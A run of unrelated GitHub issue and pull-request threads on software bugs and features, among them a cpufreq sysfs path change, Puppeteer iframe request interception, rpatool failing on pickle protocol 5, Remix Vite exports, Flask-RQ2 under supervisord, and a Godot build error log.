Failed to set CPUFreq ondemand governor's sampling_rate for Linux kernel 4.4

Hi,
I saw Lisa set ondemand governor's sampling_rate in the folder: /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate; but when I run Linux kernel 4.4 the folder has been changed as: /sys/devices/system/cpu/cpufreq/policy0/ondemand/sampling_rate and /sys/devices/system/cpu/cpufreq/policy1/ondemand/sampling_rate.
So finally this will introduce failure when run LISA for Juno's profiling with kernel 4.4.
Thanks,
Leo Yan

We should probably make the hard-coded path in:
https://github.com/ARM-software/devlib/blob/master/devlib/module/cpufreq.py#L45
more generic. Which means, for example, at init time to probe which path as to be used.

@setrofim any update on this side? Maybe WA implementation already address this issue?
The "policyN" format seems to be standard for kernel >v4.4 with more than one frequency domain.


[Bug]: Request interception does not capture oopif iframe subresources

Bug expectation
I expected await page.setRequestInterception(true); to also intercept the subresource requests from iframes, even if they are out-of-process.
This test implies that that is the intended functionality, but it doesn't actually check for subresource interception.
The attached example to reproduce is inspired by the equivalent Playwright Test.
diff --git a/test/assets/dynamic-oopif.html b/test/assets/dynamic-oopif.html
--- a/test/assets/dynamic-oopif.html
+++ b/test/assets/dynamic-oopif.html

<script>
window.addEventListener('DOMContentLoaded', () => {
  const iframe = document.createElement('iframe');
  const url = new URL(location.href);
  url.hostname = url.hostname === 'localhost' ? '<IP_ADDRESS>' : 'localhost';
-   url.pathname = '/oopif.html';
+  url.pathname = '/grid.html';
  iframe.src = url.toString();
  document.body.appendChild(iframe);
}, false);
</script>

diff --git a/test/src/oopif.spec.ts b/test/src/oopif.spec.ts
--- a/test/src/oopif.spec.ts
+++ b/test/src/oopif.spec.ts

  it('should load oopif iframes with subresources and request interception', async () => {
     const {server} = getTestState();
+    let intercepted = false;

     const frame = page.waitForFrame(frame => {
-      return frame.url().endsWith('/oopif.html');
+      return frame.url().endsWith('/grid.html');
     });
     await page.setRequestInterception(true);
     page.on('request', request => {
+      if (request.url().endsWith('/digits/0.png')) {
+        intercepted = true;
+      }
       return request.continue();
     });
     await page.goto(server.PREFIX + '/dynamic-oopif.html');
     await frame;
     expect(oopifs(context).length).toBe(1);
+    expect(page.frames().length).toBe(2);
+    expect(intercepted).toBe(true);
   });

If oopif has not been disabled, this modified test now fails with:
 1) OOPIF-debug
       OOPIF
         should load oopif iframes with subresources and request interception:
     Error: expect(received).toBe(expected) // Object.is equality

Expected: true
Received: false
      at Context.<anonymous> (/workspaces/puppeteer/test/src/oopif.spec.ts:327:25)

While workarounds exist like passing in --disable-site-isolation-trials, it seems like a very heavy hammer and perhaps is a bug in how request interception is intended to work.
Thanks for taking a look!
Bug behavior

[ ] Flaky
[ ] PDF

Minimal, reproducible example
(added inline)

Error string
(added inline)
Puppeteer configuration
No response
Puppeteer version
19.6.0
Node version
18.13.0
Package manager
npm
Package manager version
8.19.3
Operating system
Linux

Thanks for the report. It looks like the network manager might be only working on the page target so it does not attach itself to OOPIFs.

I think I got the same issue the --disable-site-isolation-trials doesn't change anything. For me, the Origin of request which are not intercepted is from chrome-extension://aapocclcgogkmnckokdopdmhomfmgoek.

I observed different behavior depending on whether I run the puppeteer headless or headed.
While headless I can observe much more requests than headed, probably the difference is the ones from an iframe.


markdown support conflicts with styled-chat

Expected behavior
Chat which appears italic/bold in minecraft should also appear italic/bold in discord.
Observed/actual behavior
When styledchat is set to parse markdown, chat in the minecraft -> minecraft direction can have italics and bold, but chat in the minecraft -> discord direction does not.
When styledchat is NOT set to parse markdown, chat in the minecraft -> discord direction can have italics and bold, but chat in the minecraft -> minecraft direction does not.
Steps/models to reproduce
install minecord and styled-chat. in styled-chat.json, set "markdown": true.
from minecraft, type:
*italics* and **bold**

in minecraft, this displays as

<~nycki> italics and bold

in discord, you should see
Overworld ~nycki > italics and bold

Version
minecraft 1.20.2
openjdk 17.0.9
fabric api 0.91.1
minecord 2.0.2
styled-chat 2.3.0
styled-nicknames 1.3.0
Agreements

[X] I am running the latest version of the mod.
[X] My version of Minecraft is supported.
[X] I have searched for and ensured there isn't already an open issue regarding this.

Other
No response

Good pickup, thanks. I believe these old lines of code are to blame from before we moved to Text Placeholder API -
https://github.com/axieum/minecord/blob/0586966e7c19c06068fc98a260cb8a9653a67ac8/minecord-chat/src/main/java/me/axieum/mcmod/minecord/impl/chat/callback/minecraft/ServerMessageCallback.java#L41-L45
I wonder if MarkdownLiteParserV1 from Text Placeholder API could be used here instead.

This will require a full featured Minecraft's Text to markdown string converter.


Account For Variable Columns In /proc/buddyinfo

The number of chunks, and therefore the number of columns, in /proc/buddyinfo is dependent on the value of the MAX_ORDER macro, defined in linux/mmzone.h, which can be configured at compile time with the CONFIG_ARCH_FORCE_MAX_ORDER option. These changes modify the buddyinfo parser to allow for any number of chunks.

Thanks for the contribution @loganfin, and sorry for the delay.
A few minor requests.
If you can't get to it, just let me know and I'll take over from here.


fix: backdrop custom class not added (#35)

:tada: This PR is included in version 2.3.4 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Client Auth Injector

Feature Request
Currently, there is no support for authentication. Minimal support could be provided by exposing a way to inject access tokens into the HTTP requests of the AsyncReporter. The users can then use their own proxies in front of the Zipkin Backends to verify that token. In the current state, a proxy is also needed for the client to add the authentication header to the request which is inconvenient.
I am happy to send a PR for this feature if there is agreement on it.

in the zipkin-reporter-java project, where code about this lives, there is
an okhttp3 "sender" which can already be configured for client auth in
however you define this term.

Thanks!

@crisbodnar How did u adopted the auth?

@ankur-jain1-hp The sender mentioned by @adriancole can be configured to include an auth token which can be checked by a proxy in front of the Zipkin backend.


Rendering and refreshing is still an issue.

According to the below a workaround is mentioned.
https://github.com/Esri/arcgis-pro-sdk-community-samples/blob/1d418113d3d18ee688f7f91a86fbb0f83dfcd9eb/Map-Authoring/CIMExamples/ChangeLayerDataSource.cs#L120
But does not fully guarantee its refreshed properly.
Especially when using the EditOperation.Callback on the same DataConnection
Another half successful workaround is to use featureTable.SetDataConnection(featureTable.GetDataConnection(), true); which mostly refreshes the mapview

Hi Ole,
Sorry for the delay; we don't actively monitor this board for questions.
If you're still having issues, please log an issue with technical support or post your question on the Esri community site.
Thanks!
-- Wolf


feat: setup github actions

Welcome to Codecov :tada:
Once merged to your default branch, Codecov will compare your coverage reports and display the results in this comment.
Thanks for integrating Codecov - We've got you covered :open_umbrella:


upgrade from 1.1.2 to 2.0

I've been looking at your commits and examples to try and figure out what changed so I can update my code to 2.0 level.  What is the best way to find the changes that break code from 1.1.2?  Thanks.
I followed your changes in ssl example and put your basic handler in for my websockets_handler, but it still crashes on start when going from 2.0 pre 3 to pre 4.  I can't tell from the commits what would have changed.

There's a guide for that: https://ninenines.eu/docs/en/cowboy/2.0/guide/migrating_from_1.0/
In addition, manual pages for Cowboy 2.0 have a changelog for each module and function.
If anything is missing, please do tell! Thanks.

ok thanks!


[#1456] Fix entity view by id remove error on cascade delete of one-to-one mapped by association

Description

Related Issue

Fixes #1456
Motivation and Context

Superseded by https://github.com/Blazebit/blaze-persistence/pull/1600


refactor: optimize AnimatedList component

Fix: Animated List
Pulled from issues: https://github.com/magicuidesign/magicui/issues/333

So what it does basically - stop the animation after all the items are shown?

Yes @itsarghyadas

@gokh4nozturk thanks for the reply. So if I’m understanding correctly, after displaying all the notifications for a set time, the animation just stops until you refresh the page. Is that correct?
Also, could you explain how this optimizes the functionality and what specific error you saw, as mentioned in the issue https://github.com/magicuidesign/magicui/issues/333

Why do you think the animation stopping when the number of elements runs out is expected? Just trying to understand your perspective.

We discussed this internally, and I’ve reviewed it. This PR is good to go. Thanks for the contribution!


Is there a way for the source video be a webcam?

And have the output be real time as well?

Currently there is no way to do this, but I believe that most likely someone will take this code and develop it to use it in a service like this in real time

Let me be the one!
I shall try my best as a noob

Well, more noob than me you are not ... I still haven't learned how to train my own models

I love this idea! Will keep my ears open to hear something of this sort.

I guess you can refer to this repository https://github.com/alievk/avatarify


Flaky Test: TestPeriodicHourly

ci-etcd-unit-test-amd64 Test: go.etcd.io/etcd/server/v3/etcdserver/api/v3compactor.TestPeriodicHourly
Test failed 1.2% (1/83) of the time
failure logs are:

commit
started
log

e37a67e40
2024-04-18 02:37:59 +0000 UTC
https://prow.k8s.io/view/gs/kubernetes-jenkins/logs/ci-etcd-unit-test-amd64/1780787803907428352

Please follow the instructions in the contributing guide to reproduce the issue.

ci-etcd-unit-test-amd64 Test: go.etcd.io/etcd/server/v3/etcdserver/api/v3compactor.TestPeriodicHourly
Test failed 1.2% (1/83) of the time
failure logs are:

commit
started
log

e37a67e40
2024-04-18 02:37:59 +0000 UTC
https://prow.k8s.io/view/gs/kubernetes-jenkins/logs/ci-etcd-unit-test-amd64/1780787803907428352

Please follow the instructions in the contributing guide to reproduce the issue.


pickle5 problem?

I'm trying to unpack a Ren'Py 8.0.0 archive with the latest version. I get the following error:
Traceback (most recent call last):   File "./rpatool", line 363, in <module>     archive = RenPyArchive(archive, padlength=padding, key=key, version=version, verbose=arguments.verbose)   File "./rpatool", line 65, in __init__     self.load(file)   File "./rpatool", line 230, in load     self.indexes = self.extract_indexes()   File "./rpatool", line 111, in extract_indexes     indexes = _unpickle(contents)   File "./rpatool", line 24, in _unpickle     return pickle.loads(data, encoding='latin1')
System is Debian Buster. I tried to force python3 and installing pickle5 through pip, but that gives the same error. May be I'm doing something wrong? Older archives works flawlessly.

Also present in Ren'Py 8.0.1 with MacOS 15.5 and Python 3.10.

It seems https://github.com/Shizmob/rpatool/pull/13 would fix this, are you able to check?

I had the same problem and just running with python 3.9.13 worked for me
On debian the current shebang
#!/use/bin/env python

Defaults to python 2.7

I tested this steps having Python 3.6:

Created archive file with RenPy 8+
Attempted extract with rpatools resulting in error: ❌

Traceback (most recent call last):
  File "W:/Projects/Python/RPATool/rpatool.py", line 363, in <module>
    archive = RenPyArchive(archive, padlength=padding, key=key, version=version, verbose=arguments.verbose)
  File "W:/Projects/Python/RPATool/rpatool.py", line 65, in __init__
    self.load(file)
  File "W:/Projects/Python/RPATool/rpatool.py", line 230, in load
    self.indexes = self.extract_indexes()
  File "W:/Projects/Python/RPATool/rpatool.py", line 111, in extract_indexes
    indexes = _unpickle(contents)
  File "W:/Projects/Python/RPATool/rpatool.py", line 24, in _unpickle
    return pickle.loads(data, encoding='latin1')
ValueError: unsupported pickle protocol: 5

Installed Python 3.10 and changed interpreter on project to Python 3.10
Attempted extract with rpatools resulting in error Could not extract file file.rpy from archive: 'bytes' object has no attribute 'encode' ❌
Applied changes prosposed in #13
Attempted extract with rpatools with success ✔

Make sure you are using correct Python version supporting pickle5 natively as interpreter and #13 should fix this problem.

Thanks for all the work. First I applied the patch. As said above Debian Buster still uses Python 2.7 and that gives the following error:
Traceback (most recent call last):   File "../../rpatool", line 366, in <module>     archive = RenPyArchive(archive, padlength=padding, key=key, version=version, verbose=arguments.verbose)   File "../../rpatool", line 68, in __init__     self.load(file)   File "../../rpatool", line 233, in load     self.indexes = self.extract_indexes()   File "../../rpatool", line 114, in extract_indexes     indexes = _unpickle(contents)   File "../../rpatool", line 41, in _unpickle     return pickle.loads(data)   File "/usr/lib/python2.7/pickle.py", line 1388, in loads     return Unpickler(file).load()   File "/usr/lib/python2.7/pickle.py", line 864, in load     dispatch[key](self)   File "/usr/lib/python2.7/pickle.py", line 892, in load_proto     raise ValueError, "unsupported pickle protocol: %d" % proto ValueError: unsupported pickle protocol: 5
I then changed the first line to python3 which is version 3.7 and that gives:
Traceback (most recent call last):   File "../../rpatool", line 366, in <module>     archive = RenPyArchive(archive, padlength=padding, key=key, version=version, verbose=arguments.verbose)   File "../../rpatool", line 68, in __init__     self.load(file)   File "../../rpatool", line 233, in load     self.indexes = self.extract_indexes()   File "../../rpatool", line 114, in extract_indexes     indexes = _unpickle(contents)   File "../../rpatool", line 27, in _unpickle     return pickle.loads(data, encoding='latin1') ValueError: unsupported pickle protocol: 5
I then installed through pip3 the packages cloudpickle and pickle5 as suggested elsewhere on the internet. This gives still the same error. I then changed the import line as follows:
import pickle5 as pickle
This is suggested here. That works like a charm. So the patch does it job, but I think there is more to be added. This newer archive is not compatible with Python 2.7 where the older archives work. So there should be some kind of test there? And also an check for importing the newer pickle5?

I hadn't realized pickle 5 was a 3.8 thing.
@Shizmob do you want me to amend my PR to add a check on the python version and import that module if needed?

The pickle5 backport says it works from Python 3.5 to 3.7 because from 3.8.3 it is standard. I can confirm this backport works for me in Python 3.7. However it also means that older versions can not extract the newer archives.

#13 fixes it with later python 3s (3.9, 3.10) as far as I can see.

I can confirm that #13 fixes the 'bytes' object has no attribute 'encode' error that occurs under Python 3.8.10.

I can also confirm that I was perfectly able to unpack multiple Ren'Py 8 archives with the change in https://github.com/Shizmob/rpatool/pull/13
I'm using Python 3.10.5


fix(remix-dev/vite): preserve named exports when emptifying server/client only files

Closes: https://github.com/remix-run/remix/issues/7924, https://github.com/remix-run/remix/issues/7972
Based on the idea mentioned in https://github.com/remix-run/remix/issues/7924#issuecomment-1797969780, I updated "remix-empty-server-modules" and "remix-empty-client-modules" to preserve named exports.
(It's worth noting that this won't probably fix https://github.com/remix-run/remix/issues/7957 since that issue is more related to "remix-remove-server-exports" plugin.)
I'm not sure if this approach is foolproof, but I thought it would be better to put together a PR to convey the idea clearly.
I would appreciate any feedback. Thanks!
notes
One notable (and maybe critical) difference from simple export default {} is that, this will now potentially expose the export names from server only files in client assets if rollup didn't tree shake named exports.
I was thinking to keep using export default {} for build case, but it turns out rollup checks export names and throws an following error, so this approach might not be robust:
rollup error
4: import serverLibDefault, { serverLibNamed } from "../server-lib.server";
...
error during build:
RollupError: "serverLibNamed" is not exported by "app/server-lib.server.tsx", imported by "app/routes/only.tsx".

As one more important factor to decide on this, I think it's worth noting that vite build has minify: true by default, so probably for most practical purposes, we can assume that original names won't be visible directly on client.
Here are the examples of client assets output with corresponding minfiy flags:
minify: true (default)
// in build/build/assets/empty-server-client-only-a8a8a349.js
const a={};
var l={};
const o="clientLibDefault",
c=o,
u="clientLibNamed";
...

minify: false
const serverLibDefault = {};
var serverLibNamed = {};
const clientLibDefault = "clientLibDefault";
const clientLibDefault$1 = clientLibDefault;
const clientLibNamed = "clientLibNamed";
...

Patching @remix-run/dev with these changes fixed most of the errors I was getting, but I still get this one:
app/monitoring.ts (38:18) "captureRemixServerException" is not exported by<EMAIL_ADDRESS>imported by "app/monitoring.ts".

Context:

I have this file app/monitoring.ts that exports some logging functions that are used both on the client and on the server.
It contains import * as Sentry from '@sentry/remix' and it has a function that calls Sentry.captureRemixServerException(...) (only on the server though).
Trying to wrap that call with if (import.meta.env.SSR) didn't make the error disappear.
Using a dynamic import like import('@sentry/remix').then(Sentry => Sentry.captureRemixServerException(...)) made the error disappear.

@gustavopch Thanks for testing this patch! However, I'm suspecting the issue you are seeing with @sentry/remix might be due to a different cause.
I tested basic setup on current remix vite (so without this PR's patch) https://stackblitz.com/edit/remix-run-remix-ikymah?file=app%2Futils.ts.
First, I can also see vite build (client build) showing the same message, but this is only a warning by rollup to say client build doesn't include this export. So as long as this export is not used in client code, app should be still functional.
app/utils.ts (4:21) "captureRemixServerException" is not exported by<EMAIL_ADDRESS>imported by "app/utils.ts".

I think what's odd is that @sentry/remix is swapping out @sentry/remix code for server and client by:
https://github.com/getsentry/sentry-javascript/blob/ff416aeb41aa729c0ed02459e8010ae3fa4016f4/packages/remix/package.json#L16-L17
  "module": "build/esm/index.server.js",
  "browser": "build/esm/index.client.js",

which itself is fine and a common thing to do, but these two modules are "incompatible" in ESM sense since these two files exports different names (e.g. client one is missing captureRemixServerException named export).
I think what @sentry/remix could do is to export captureRemixServerException from index.client.js but make its implementation to throw something like new Error("not implemented for client");

@hi-ogawa Thanks for investigating and sharing the repro on StackBlitz. 🙏
I've opened an issue there: https://github.com/getsentry/sentry-javascript/issues/9594.

Superceded by #8200
Specifically, we want any .server imports that would end up in the client bundle to cause build time failures. However, code .client imports often needs to be conditionally run as determined by runtime checks.


Launching flask-rq2 using supervisord

For whatever reason, launching flask-rq2 from supervisord seems to be giving me incredible difficulty which I have never encountered using vanilla rq or even running a Flask app with RQ2 in docker. And of course, it seems that supervisord makes debugging incredibly difficult.
Currently, I have a fairly straight-forward Flask app which is running on an Ubuntu server. Everything is inside a virtual environment, and I am launching as follows:
rq.conf
[program:rq]
directory=/home/<user>/ceams
command=sh boot-workers.sh
process_name=$(program_name)s-%(process_num)s
numprocs=1
autostart=true
autorestart=true
stopsignal=Term

boot-workers.sh
#!/bin/bash
set -eu

. venv/bin/activate
flask rq worker

Whenever I log in and launch boot-workers manually, everything works like a charm. With supervisord, it launches for a few seconds before exiting (with status 1) with the following error:
KeyError: <flask.cli.ScriptInfo object at 0x7f2c8ca77828>
Traceback (most recent call last):
  File "/home/ceams_admin/ceams/venv/bin/flask", line 11, in <module>
    sys.exit(main())
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/flask/cli.py", line 894, in main
    cli.main(args=args, prog_name=name)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/flask/cli.py", line 557, in main
    return super(FlaskGroup, self).main(*args, **kwargs)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/click/core.py", line 717, in main
    rv = self.invoke(ctx)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/click/core.py", line 1132, in invoke
    cmd_name, cmd, args = self.resolve_command(ctx, args)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/click/core.py", line 1171, in resolve_command
    cmd = self.get_command(ctx, cmd_name)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/flask/cli.py", line 515, in get_command
    rv = info.load_app().cli.get_command(ctx, name)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/flask/cli.py", line 377, in load_app
    raise_if_not_found=False)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/flask/cli.py", line 254, in locate_app
    return find_best_app(script_info, module)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/flask/cli.py", line 76, in find_best_app
    app = call_factory(script_info, app_factory)
  File "/home/ceams_admin/ceams/venv/lib/python3.6/site-packages/flask/cli.py", line 114, in call_factory
    return app_factory(script_info)
  File "/home/ceams_admin/ceams/app/__init__.py", line 29, in create_app
    app.config.from_object(config[config_name])

It appears the virtual environment isn't being activated or something like that, though I'm not sure why. Has anyone successfully launched rq2 from supervisord? If so, can someone provide some debugging advice and/or an example? Thanks!

Hi I just want to ask for help how to run flask rq command in shell.  I installed the flask_cli and try to run it,  it show No shch command "rq".

I use Flask-RQ2 with supervisord. The trick is to run the command from inside the venv like this:
[program:rq-app]
command=/path/to/venv/bin/flask rq worker my-app-queue


AE language changes

Mockup:
https://ohsuitg-my.sharepoint.com/:p:/r/personal/dunnem_ohsu_edu/Documents/From_Box/COACH High Blood Pressure/Phase2COACH/Mockups and Screenshots/Cases Mockups/AE Mockup.pptx?d=w61796638c7ee4abdad9f69e0301e7012&csf=1&web=1&e=yuEDHC
Mention of "adverse event" should be changed to "side effect" everywhere.

This document contains the language changes under the "body" column, but in my last discussion with Aisha, they were still working on rec 34. https://ohsuitg-my.sharepoint.com/:w:/r/personal/dunnem_ohsu_edu/Documents/From_Box/COACH High Blood Pressure/Phase2COACH/CDS Cards/COACH Auto generated messages.docx?d=w4fe2feef6d2142d79b7d76ccfcbce265&csf=1&web=1&e=5jLkJl


♻ Improve User Filter

Relates to https://github.com/SSWConsulting/SSW.Rules/issues/1046#issuecomment-1739814861
Changes made:

Updated page title
Replaced pagination with "load more"
Changed the url to https://ssw.com.au/rules/user/?author={github login name}
Added "ago" after the timestamp
Added another list to show acknowledgement

Figure: is the title {{ USER NAME }}'s Acknowledged Rules good enough? 🤔

Hey @Aibono1225

Can we make the breadcrumb say "Brady Strout's Rules" as well instead of "User Rules?

Hey @tiagov8

Is there a link I can test these changes live?

No 😕 - Ephemeral environments are awesome, but we dont have them on rules, just the website right now
Once this PR is merged, the changes will be live on staging to test

Hi @Aibono1225
Thinking again...
What about:

SSW > SSW Rules > Brady Strout's Rules
Brady Strout's Rules
Last Modified
{{ LIST OF RULES }}
Acknowledged
{{ LIST OF RULES }}

... so we don't repeat the name so many times. As per DRY

Here the new UI after implementing new requests. 🙂


Update all instances of the term oci to registry upon 0.9.0 release

The term oci will be changed to registry so we need to run the following command across all developer docs when 0.9.0 ships.
find content/ -type f -exec grep -H 'oci' {} \;

Then create a new PR which replaces oci with registry (should only be a few instances)

For reference, spin oci commands will still work fow now, since we have an alias in place for spin oci -> spin registry.

hey @tpmccallum - i'm starting a PR that uses the code blocks for both v0.8.0 and v0.9.0, that way we can support both users

Its almost done - I was going to push it this afternoon

https://github.com/fermyon/developer/pull/346


docs(readme): mention installing Husky and Lint Staged first

:tada: This PR is included in version 1.0.2 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Build error on Windows (template build, MSVC and MinGW)

Operating system or device, Godot version, GPU Model and driver (if graphics related): Windows 10, Godot Git https://github.com/godotengine/godot/commit/62cb43bb8dec8f5078012b58ff06a2077078565f, MSVC 2017 and MinGW-w64 7.2.0
The build of export templates (tools=no target=release for this build) fails, the MinGW error messages are attached below:
Compiling ==> modules\gdnative\gd_native_library_editor.cpp
=====
modules\gdnative\gd_native_library_editor.cpp:4:6: error: 'GDNativeLibraryEditor' has not been declared
 void GDNativeLibraryEditor::_find_gdnative_singletons(EditorFileSystemDirectory *p_dir, const Set<String> &enabled_list) {
      ^~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:4:55: error: variable or field '_find_gdnative_singletons' declared void
 void GDNativeLibraryEditor::_find_gdnative_singletons(EditorFileSystemDirectory *p_dir, const Set<String> &enabled_list) {
                                                       ^~~~~~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:4:55: error: 'EditorFileSystemDirectory' was not declared in this scope
modules\gdnative\gd_native_library_editor.cpp:4:82: error: 'p_dir' was not declared in this scope
 void GDNativeLibraryEditor::_find_gdnative_singletons(EditorFileSystemDirectory *p_dir, const Set<String> &enabled_list) {
                                                                                ^~~~~
modules\gdnative\gd_native_library_editor.cpp:4:89: error: expected primary-expression before 'const'
 void GDNativeLibraryEditor::_find_gdnative_singletons(EditorFileSystemDirectory *p_dir, const Set<String> &enabled_list) {
                                                                                ^~~~~
modules\gdnative\gd_native_library_editor.cpp:40:6: error: 'GDNativeLibraryEditor' has not been declared
 void GDNativeLibraryEditor::_update_libraries() {
      ^~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp: In function 'void _update_libraries()':
modules\gdnative\gd_native_library_editor.cpp:42:2: error: 'updating' was not declared in this scope
  updating=true;
  ^~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:43:2: error: 'libraries' was not declared in this scope
  libraries->clear();
  ^~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:47:6: error: 'ProjectSettings' has not been declared
  if (ProjectSettings::get_singleton()->has("gdnative/singletons")) {
      ^~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:48:17: error: 'ProjectSettings' has not been declared
   enabled_paths=ProjectSettings::get_singleton()->get("gdnative/singletons");
                 ^~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:55:2: error: 'EditorFileSystemDirectory' was not declared in this scope
  EditorFileSystemDirectory *fs = EditorFileSystem::get_singleton()->get_filesystem();
  ^~~~~~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:55:29: error: 'fs' was not declared in this scope
  EditorFileSystemDirectory *fs = EditorFileSystem::get_singleton()->get_filesystem();
                             ^~
modules\gdnative\gd_native_library_editor.cpp:55:34: error: 'EditorFileSystem' has not been declared
  EditorFileSystemDirectory *fs = EditorFileSystem::get_singleton()->get_filesystem();
                                  ^~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:57:3: error: '_find_gdnative_singletons' was not declared in this scope
   _find_gdnative_singletons(fs,enabled_list);
   ^~~~~~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:57:3: note: suggested alternative: 'godot_gdnative_init_fn'
   _find_gdnative_singletons(fs,enabled_list);
   ^~~~~~~~~~~~~~~~~~~~~~~~~
   godot_gdnative_init_fn
modules\gdnative\gd_native_library_editor.cpp: At global scope:
modules\gdnative\gd_native_library_editor.cpp:64:6: error: 'GDNativeLibraryEditor' has not been declared
 void GDNativeLibraryEditor::_item_edited() {
      ^~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp: In function 'void _item_edited()':
modules\gdnative\gd_native_library_editor.cpp:65:6: error: 'updating' was not declared in this scope
  if (updating)
      ^~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:68:2: error: 'TreeItem' was not declared in this scope
  TreeItem *item = libraries->get_edited();
  ^~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:68:12: error: 'item' was not declared in this scope
  TreeItem *item = libraries->get_edited();
            ^~~~
modules\gdnative\gd_native_library_editor.cpp:68:12: note: suggested alternative: 'tm'
  TreeItem *item = libraries->get_edited();
            ^~~~
            tm
modules\gdnative\gd_native_library_editor.cpp:68:19: error: 'libraries' was not declared in this scope
  TreeItem *item = libraries->get_edited();
                   ^~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:76:6: error: 'ProjectSettings' has not been declared
  if (ProjectSettings::get_singleton()->has("gdnative/singletons")) {
      ^~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:77:17: error: 'ProjectSettings' has not been declared
   enabled_paths=ProjectSettings::get_singleton()->get("gdnative/singletons");
                 ^~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:89:3: error: 'ProjectSettings' has not been declared
   ProjectSettings::get_singleton()->set("gdnative/singletons",enabled_paths);
   ^~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:91:3: error: 'ProjectSettings' has not been declared
   ProjectSettings::get_singleton()->set("gdnative/singletons",Variant());
   ^~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp: At global scope:
modules\gdnative\gd_native_library_editor.cpp:95:6: error: 'GDNativeLibraryEditor' has not been declared
 void GDNativeLibraryEditor::_notification(int p_what) {
      ^~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp: In function 'void _notification(int)':
modules\gdnative\gd_native_library_editor.cpp:97:14: error: 'NOTIFICATION_VISIBILITY_CHANGED' was not declared in this scope
  if (p_what==NOTIFICATION_VISIBILITY_CHANGED) {
              ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:98:7: error: 'is_visible_in_tree' was not declared in this scope
   if (is_visible_in_tree()) {
       ^~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:98:7: note: suggested alternative: '__builtin_free'
   if (is_visible_in_tree()) {
       ^~~~~~~~~~~~~~~~~~
       __builtin_free
modules\gdnative\gd_native_library_editor.cpp: At global scope:
modules\gdnative\gd_native_library_editor.cpp:104:6: error: 'GDNativeLibraryEditor' has not been declared
 void GDNativeLibraryEditor::_bind_methods() {
      ^~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp: In function 'void _bind_methods()':
modules\gdnative\gd_native_library_editor.cpp:106:49: error: 'GDNativeLibraryEditor' has not been declared
  ClassDB::bind_method(D_METHOD("_item_edited"),&GDNativeLibraryEditor::_item_edited);
                                                 ^~~~~~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp: At global scope:
modules\gdnative\gd_native_library_editor.cpp:109:1: error: 'GDNativeLibraryEditor' does not name a type; did you mean 'GDNativeLibrary'?
 GDNativeLibraryEditor::GDNativeLibraryEditor()
 ^~~~~~~~~~~~~~~~~~~~~
 GDNativeLibrary

=====
scons: *** [modules\gdnative\gd_native_library_editor.windows.opt.64.o] Error 1
scons: building terminated because of errors.

This may also be relevant, here's the HTML5 build failing (in WebAssembly mode):
Compiling ==> modules\gdnative\gd_native_library_editor.cpp
modules\gdnative\gd_native_library_editor.cpp:4:6: error: use of undeclared identifier 'GDNativeLibraryEditor'; did you mean 'GDNativeLibrary'?
void GDNativeLibraryEditor::_find_gdnative_singletons(EditorFileSystemDirectory *p_dir, const Set<String> &enabled_list) {
     ^~~~~~~~~~~~~~~~~~~~~
     GDNativeLibrary
modules\gdnative/gdnative.h:40:7: note: 'GDNativeLibrary' declared here
class GDNativeLibrary : public Resource {
      ^
modules\gdnative\gd_native_library_editor.cpp:4:55: error: unknown type name 'EditorFileSystemDirectory'
void GDNativeLibraryEditor::_find_gdnative_singletons(EditorFileSystemDirectory *p_dir, const Set<String> &enabled_list) {
                                                      ^
modules\gdnative\gd_native_library_editor.cpp:19:4: error: unknown type name 'TreeItem'
                        TreeItem *ti = libraries->create_item(libraries->get_root());
                        ^
modules\gdnative\gd_native_library_editor.cpp:19:19: error: use of undeclared identifier 'libraries'
                        TreeItem *ti = libraries->create_item(libraries->get_root());
                                       ^
modules\gdnative\gd_native_library_editor.cpp:19:42: error: use of undeclared identifier 'libraries'
                        TreeItem *ti = libraries->create_item(libraries->get_root());
                                                              ^
modules\gdnative\gd_native_library_editor.cpp:23:24: error: use of undeclared identifier 'TreeItem'
                        ti->set_cell_mode(1,TreeItem::CELL_MODE_RANGE);
                                            ^
modules\gdnative\gd_native_library_editor.cpp:40:6: error: use of undeclared identifier 'GDNativeLibraryEditor'; did you mean 'GDNativeLibrary'?
void GDNativeLibraryEditor::_update_libraries() {
     ^~~~~~~~~~~~~~~~~~~~~
     GDNativeLibrary
modules\gdnative/gdnative.h:40:7: note: 'GDNativeLibrary' declared here
class GDNativeLibrary : public Resource {
      ^
